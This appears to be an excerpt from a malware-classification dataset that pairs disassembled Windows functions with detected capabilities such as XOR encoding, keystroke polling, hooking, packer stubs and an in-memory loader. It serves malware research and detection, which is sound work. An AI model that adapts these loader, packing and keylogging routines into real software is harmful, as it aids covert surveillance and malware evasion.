joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002b8a8
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100658ba
call fcn.10064328
sub esp, 0x18
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ebx
je 0x1002b8ef
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
cmp dword [edx], 1
jge 0x1002b9b7
mov esi, dword [ebp + 0x14]
mov ecx, dword [edx]
mov eax, dword [esi]
and dword [eax + ecx*4], 0
inc dword [edx]
cmp dword [edx], 1
jl 0x1002b8db
jmp 0x1002b9b7
mov dword [ebp - 0x1c], 0x1fae
cmp dword [ebp - 0x1c], 0x21f8
jle 0x1002b95f
xor esi, esi
mov dword [ebp - 0x18], esi
xor edi, edi
mov dword [ebp - 0x14], edi
mov eax, esi
xor ebx, ebx
cdq
idiv edi
mov edi, edx
xor esi, esi
lea eax, [esi + ebx]
mov ecx, 0x10081bf8
xor eax, edi
cdq
push edx
push eax
call fcn.1000377e
inc esi
cmp esi, 0x4c04
jl 0x1002b914
inc ebx
cmp ebx, 0x38d9
jl 0x1002b912
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x3ad5
jl 0x1002b909
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x4257
jl 0x1002b904
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ebx, dword [ebp - 0x20]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x1f5c
jge 0x1002b99a
mov edx, str.eslws_htpi_mffxdksvi
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x1002b99a
mov edx, dword [ebp + 0x1c]
mov dword [edx], 0
jmp 0x1002b9b2
mov ecx, dword [edx]
mov eax, dword [ebx]
mov dword [eax + ecx*4], 0xd97867a7
inc dword [edx]
cmp dword [edx], 4
jl 0x1002b9a5
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002bdd4
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100658ce
call fcn.10064328
sub esp, 0x18
cmp byte [ebp + 0x18], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x14], dl
mov dword [ebp - 0x20], ecx
je 0x1002be38
test dl, dl
je 0x1002be1d
mov edx, dword [ebp + 0x20]
xor esi, esi
mov dword [edx], esi
cmp dword [edx], 2
jge 0x1002bf33
mov edi, dword [ebp + 0xc]
mov ecx, dword [edx]
mov eax, dword [edi]
mov dword [eax + ecx*4], esi
inc dword [edx]
cmp dword [edx], 2
jl 0x1002be0a
jmp 0x1002bf33
mov eax, dword [ebp + 0x24]
cmp byte [eax], 0
je 0x1002bf33
push 0
push ecx
call fcn.1002a874
pop ecx
pop ecx
jmp 0x1002bf33
xor esi, esi
cmp byte [ebp + 0x1c], 0
je 0x1002bf28
mov dword [ebp - 0x18], 0x69a8
cmp dword [ebp - 0x18], 0x6b50
jle 0x1002be9c
mov edi, esi
mov dword [ebp + 0x18], esi
mov ebx, esi
mov dword [ebp - 0x1c], esi
mov ecx, ebx
mov esi, edi
mov edi, dword [ebp - 0x1c]
sar esi, cl
mov eax, esi
mov ecx, 0x10081bf8
xor eax, edi
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x6df9
jl 0x1002be67
mov edi, dword [ebp + 0x18]
inc ebx
push 0
pop esi
cmp ebx, 0x1b34
jl 0x1002be5b
inc edi
mov dword [ebp + 0x18], edi
cmp edi, 0x7ff8
jl 0x1002be59
mov dword [ebp - 4], esi
cmp dword [ebp - 0x18], 0x6782
jge 0x1002bed5
mov edx, str.aqxjuvud_lblivtp_xzpjl_qfpaky_mtgizkd_gklrfyw_loizpdy_cuf_asulxrn_jgykkenqr_vpasrrj_lydvsnqht_bldkjv_shvywuaeu
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x1002bed5
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x20]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
dec eax
mov dword [edx], eax
mov eax, dword [edx]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ecx]
mov edi, dword [eax]
mov eax, dword [edx]
xor edx, edx
cmp dword [ecx], eax
setle dl
xor eax, eax
neg edx
cmp edx, 0xd2466e9f
setne al
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, dword [edi + 8]
setge cl
cmp ecx, 0x4e6d
jle 0x1002bf1e
cmp dword [edi + 4], esi
je 0x1002bf21
xor esi, esi
inc esi
mov eax, dword [ebp + 8]
mov dword [eax], esi
jmp 0x1002bf33
push esi
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003b763
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10065f2d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], 0x2f9
mov dword [ebp - 0x28], str.immufukxz_uqwaxxe_rjorzzdtv_bazx_kokvzy_kyvhodz_fzzpe_shfow_iwrwi_fshnbqpu_ezmpgk
cmp dword [ebp - 0x24], 0x5fd
jle 0x1003b833
push 0x1714
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
and dword [ebp - 0x20], 0
jmp 0x1003b7ba
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x433a
jge 0x1003b833
and dword [ebp - 0x14], 0
jmp 0x1003b7d0
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x2476
jge 0x1003b831
and dword [ebp - 0x18], 0
jmp 0x1003b7e6
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x4cba
jge 0x1003b82f
and dword [ebp - 0x1c], 0
jmp 0x1003b7fc
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x5d33
jge 0x1003b82d
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
shl eax, cl
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov ecx, 0x10081bf8
call fcn.1000377e
jmp 0x1003b7f5
jmp 0x1003b7df
jmp 0x1003b7c9
jmp 0x1003b7b3
push 0x6732
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x7497
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x9b0
call fcn.1003b8a9
add esp, 0x20
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x190
jge 0x1003b872
mov edx, dword [ebp - 0x28]
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x1003b88e
or dword [ebp - 4], 0xffffffff
jmp 0x1003b898
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10040c3f
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100660b7
call fcn.10064328
sub esp, 0x10
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], edi
je 0x10040c66
mov eax, dword [edx]
dec dword [eax]
jmp 0x10040ce8
mov dword [ebp - 0x14], 0x466c
cmp dword [ebp - 0x14], 0x47d4
jle 0x10040c9d
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x10081bf8
xor eax, esi
cdq
push edx
push eax
call fcn.1000377e
inc ebx
cmp ebx, 0x3078
jl 0x10040c7a
inc esi
cmp esi, 0x1c75
jl 0x10040c78
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x45b3
jge 0x10040cd8
mov edx, str.teciixt_sxdz_tyqtc_bow_vuchwktef_ggxr_ehng
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x10040cd8
push ecx
push dword [ebp + 0x14]
mov ecx, edi
call fcn.10045913
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10040d4c
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x100660d1
call fcn.10064328
sub esp, 0x4c
push ebx
push esi
mov byte [ebp - 0x14], dl
xor ebx, ebx
mov dword [ebp - 0x28], 0x6c29
cmp dword [ebp - 0x28], 0x6f58
push edi
mov dword [ebp - 0x10], esp
jle 0x10040db1
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10081bf8
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x88e
jl 0x10040d7f
inc esi
cmp esi, 0x42ef
jl 0x10040d7d
push 0x399
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp byte [ebp - 0x14], 0
je 0x10040eec
push 4
lea ecx, [ebp - 0x40]
call fcn.100038f5
push 2
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], ebx
call fcn.100038f5
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], ebx
jmp 0x10040deb
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10040ddb
mov dword [ebp - 0x1c], ebx
jmp 0x10040e06
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [eax + ecx*4], 0x25d16df2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10040df6
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10040e1c
push ebx
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov eax, dword [ebp - 0x34]
add eax, 4
mov dword [eax], 3
cmp dword [eax], ebx
jl 0x10040eda
mov dword [ebp - 0x1c], 0x6ccb0362
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jg 0x10040ecd
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0x2d9e
cmp dword [ebp - 0x24], 0x2f8a
jle 0x10040e9c
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x58]
and eax, esi
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10040e78
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.10003c82
inc edi
cmp edi, 0x1f11
jl 0x10040e5f
inc esi
cmp esi, 0xff1
jl 0x10040e5d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x24], 0x2bd9
jge 0x10040eb3
push str.stkqspk_gmzkpghjf_hgsaytvn_pjok_exmnjekdm_zvjaipcda_dnviu_xhkhzesj_ksfuxciv
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
cmp dword [eax + ecx*4], ebx
jne 0x10040ecd
inc dword [ebp - 0x1c]
jmp 0x10040e3a
mov eax, dword [ebp - 0x34]
add eax, 4
dec dword [eax]
jmp 0x10040e28
lea ecx, [ebp - 0x34]
call fcn.10003978
lea ecx, [ebp - 0x40]
call fcn.10003978
jmp 0x10040ef5
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx]
sub eax, dword [ecx]
mov dword [ecx], eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x28], 0x6860
jge 0x10040f14
mov edx, str.uvarmf_tsufvb_sca_xowbny
mov ecx, 0x10081bf8
call fcn.100059cc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10041f7a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1006618f
call fcn.10064328
sub esp, 0x38
push ebx
push esi
mov dword [ebp - 0x24], 0x1d44
mov esi, 0x10081bf8
cmp dword [ebp - 0x24], 0x1fd7
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], edx
jle 0x10041fe2
xor ebx, ebx
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x18], 0x4896
mov eax, edi
mov ecx, esi
xor eax, ebx
cdq
push edx
push eax
call fcn.1000377e
dec edi
dec dword [ebp - 0x18]
jne 0x10041fb6
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x42d
jl 0x10041fac
inc ebx
cmp ebx, 0xf26
jl 0x10041fa7
mov dword [ebp - 0x20], 0x6453
cmp dword [ebp - 0x20], 0x65e4
jle 0x10042016
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, esi
or eax, edi
cdq
push edx
push eax
call fcn.1000377e
inc ebx
cmp ebx, 0x1bcb
jl 0x10041ff6
inc edi
cmp edi, 0x40bc
jl 0x10041ff4
mov dword [ebp - 0x18], 0x48df
cmp dword [ebp - 0x18], 0x4b08
jle 0x1004206b
xor edi, edi
xor ebx, ebx
mov eax, edi
lea ecx, [ebp - 0x40]
cdq
idiv ebx
mov eax, edx
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10042046
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push 0
push 1
lea ecx, [ebp - 0x40]
call fcn.10003c82
inc ebx
cmp ebx, 0x5275
jl 0x1004202a
inc edi
cmp edi, 0x6866
jl 0x10042028
cmp byte [ebp + 0x28], 0
je 0x1004207b
mov eax, dword [ebp + 8]
dec dword [eax]
jmp 0x1004210f
mov dword [ebp - 0x1c], 0x1e3a
cmp dword [ebp - 0x1c], 0x1efd
jle 0x100420b2
xor edi, edi
xor ebx, ebx
mov eax, edi
mov ecx, esi
cdq
idiv ebx
mov eax, edx
cdq
push edx
push eax
call fcn.1000377e
inc ebx
cmp ebx, 0x676
jl 0x1004208f
inc edi
cmp edi, 0xf10
jl 0x1004208d
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x1bf1
jge 0x100420ec
mov edx, str.ndqcacra_txhj_uzq_wchde_wnnfguqzd_raab_zghxmyynr_xtxwno
mov ecx, esi
call fcn.100059cc
jmp 0x100420ec
mov edx, dword [ebp + 0x1c]
mov dword [edx], 0
cmp dword [edx], 1
jge 0x1004210f
mov edi, dword [ebp - 0x28]
mov ecx, dword [edx]
mov eax, dword [edi]
mov dword [eax + ecx*4], 3
inc dword [edx]
cmp dword [edx], 1
jl 0x100420fd
cmp dword [ebp - 0x18], 0x4875
jge 0x10042123
push str.prsjtypar_oltyg_etokecr_lba_yopitklu_lykmvsw_evjl_khs
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 4
cmp dword [ebp - 0x20], 0x63d8
jge 0x10042160
mov edx, str.mvvhe_dnhygbzl_idxvhrwwi_lizhybhb_wkcopbyyk_tlsg_xfqxiunef_zxfgvau_jdqbmeg
mov ecx, esi
call fcn.100059cc
jmp 0x10042160
mov dword [ebp - 4], 6
cmp dword [ebp - 0x24], 0x1aa6
jge 0x1004217c
mov edx, str.wcxqfdkvf_zsnxpqx_ukljhd_cbaqyco_yxewokwky_niyuhxfof_otdzygh_apjsnfpwt_vkoz_sem_bjq_clqqyq_solski_xutof
mov ecx, esi
call fcn.100059cc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10043a41
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
cmp byte [ebp + 0x24], 0
push ebx
push esi
push edi
je 0x10043b1b
mov dword [esp + 0x14], 0x78e8
cmp dword [esp + 0x14], 0x7c32
jle 0x10043acd
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
lea ecx, [esp + 0x18]
and eax, edi
and eax, esi
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10043a91
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push 0
push 1
lea ecx, [esp + 0x20]
call fcn.10003c82
inc ebx
cmp ebx, 0x222c
jl 0x10043a75
inc edi
cmp edi, 0x6a7a
jl 0x10043a73
inc esi
cmp esi, 0x26ee
jl 0x10043a71
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
cmp byte [ebp + 0x1c], 0
je 0x10043af2
mov eax, dword [ebp + 0x10]
mov esi, dword [eax]
mov eax, dword [ebp + 0x20]
mov edx, dword [eax]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [edx + esi*4]
cmp eax, dword [ecx + esi*4]
jge 0x10043b04
mov eax, dword [ebp + 0xc]
or dword [eax], 0xffffffff
jmp 0x10043b04
mov byte [esp + 0x13], 0
cmp byte [esp + 0x13], 0
je 0x10043b04
call dword [sym.imp.USER32.dll_ReleaseCapture]
cmp dword [esp + 0x14], 0x771e
jge 0x10043b6b
push str.oygbputu_xemy_srqn_ysuf_xtgzxsik_najtxl_bskmxopsw_vxwfdxg_fnmvwxwfx_eaajfphtr_voicet_lcnjn_etwfgyk
call fcn.1004c11f
pop ecx
jmp 0x10043b6b
cmp byte [ebp + 0x18], 0
je 0x10043b2d
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
sar eax, 2
mov dword [edx], eax
jmp 0x10043b6b
mov eax, dword [ebp + 0x14]
cmp byte [eax], 0
je 0x10043b6b
push 0x61bc
push 0x85a
push 0x496e
push 0x4ed2
push 0xfb6
push 0x78e9
push 1
push 0x7785
push 0
mov edx, 0x6cde
xor cl, cl
call fcn.10043ba4
add esp, 0x24
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
mov ecx, 0x46ed0541
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x2cb71ac0
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4066c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4066d1
pop dword [ebp - 0x38]
mov eax, 0x38ed5029
sub eax, 0x38ace958
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x62a2d1c4
add dword [ebp - 0x48], 0xebaf7387
mov dword [ebp - 0x44], 0x87b933a
add dword [ebp - 0x44], 0x29b7b90b
mov dword [ebp - 0x40], 0x57562b12
sub dword [ebp - 0x40], 0xb09e6e4
mov dword [ebp - 0x3c], 0x26156050
add dword [ebp - 0x3c], 0xd9ea9fb0
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x64be0205
add dword [ebp - 0x48], 0xfb46751
mov dword [ebp - 0x44], 0x8a98d4c3
add dword [ebp - 0x44], 0xb6d38cb2
mov dword [ebp - 0x40], 0x6f2b509e
add dword [ebp - 0x40], 0xf4441bce
mov dword [ebp - 0x3c], 0x556d4afa
add dword [ebp - 0x3c], 0xaa92b506
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc2b56069
add eax, 0x3d8ab08f
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3c08c
push 0
call eax
mov ecx, 0x5794
mov edx, eax
mov ebx, 0x366c0ce1
sub ebx, 0x3628d6e1
add ebx, dword [ebp - 0x38]
mov edi, 0xe6e92183
add dword [ebp - 0x2c], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x20], eax
xor esi, edi
mov dword [edx], esi
add edx, 4
add ebx, 0xe222e4e6
sub ebx, 0xe222e4e2
loop 0x4067e2
add eax, 0xcbffac26
add eax, 0x3401a4fd
xor ebx, ebx
add ebx, eax
add eax, 0xaed2aa2c
add eax, 0x512d55d9
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x406887
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40202c]
jne 0x406cb9
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x4092e0], eax
mov dword [0x4092dc], ecx
mov dword [0x4092d8], edx
mov dword [0x4092d4], ebx
mov dword [0x4092d0], esi
mov dword [0x4092cc], edi
mov word [0x4092f8], ss
mov word [0x4092ec], cs
mov word [0x4092c8], ds
mov word [0x4092c4], es
mov word [0x4092c0], fs
mov word [0x4092bc], gs
pushfd
pop dword [0x4092f0]
mov eax, dword [ebp]
mov dword [0x4092e4], eax
mov eax, dword [ebp + 4]
mov dword [0x4092e8], eax
lea eax, [ebp + 8]
mov dword [0x4092f4], eax
mov eax, dword [ebp - 0x320]
mov dword [0x409230], 0x10001
mov eax, dword [0x4092e8]
mov dword [0x4091e4], eax
mov dword [0x4091d8], 0xc0000409
mov dword [0x4091dc], 1
mov eax, dword [0x40202c]
mov dword [ebp - 0x328], eax
mov eax, dword [0x40918c]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x409228], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x402038
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x409228], 0
jne 0x406da5
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4387ec
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, dword [ebp + 8]
xor esi, esi
cmp byte [0x443f70], 0
jne 0x43887d
mov dl, 1
mov eax, dword [0x437da0]
call fcn.0043ad30
mov dword [0x443f84], eax
push 0
mov eax, dword [0x441c38]
push eax
push 0x438740
push 4
call sub.user32.dll_SetWindowsHookExW
mov dword [0x443f80], eax
cmp dword [0x443f80], 0
je 0x43887d
mov byte [0x443f70], 1
push 0x438888
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingW
mov dword [0x443f78], eax
push 0
push 0
push 0
push 2
mov eax, dword [0x443f78]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [0x443f74], eax
mov eax, dword [0x443f74]
mov dword [eax], ebx
mov dword [0x443f7c], ebx
mov esi, dword [0x443f80]
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x53a352ad
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x5161567f
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1473ee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xdb4000]
push edi
or ebp, 0xffffffff
jmp 0x1473f02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1473f09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1473ef8
mov eax, 1
add ebx, ebx
jne 0x1473f1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1473f10
jne 0x1473f2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1473f10
xor ecx, ecx
sub eax, 3
jb 0x1473f40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1473fb2
mov ebp, eax
add ebx, ebx
jne 0x1473f4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1473f58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1473f7c
inc ecx
add ebx, ebx
jne 0x1473f68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1473f5d
jne 0x1473f79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1473f5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1473f9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1473f8d
jmp 0x1473efe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1473f9c
add edi, ecx
jmp 0x1473efe
pop esi
mov edi, esi
mov ecx, 0x1bfd8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1473fba
cmp byte [edi], 0x4f
jne 0x1473fba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1473fbf
lea edi, [esi + 0x104d000]
mov eax, dword [edi]
or eax, eax
je 0x1474037
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1079074]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x107923c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1473fec
mov ecx, edi
jns 0x147401b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1079244]
or eax, eax
je 0x1474031
mov dword [ebx], eax
add ebx, 4
jmp 0x1474009
call dword [esi + 0x1079240]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1474068
cmp al, 0xef
ja 0x147405b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x147403d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x147404a
mov ebp, dword [esi + 0x1079248]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x277]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x147409c
sub esp, 0xffffff80
jmp 0x81a252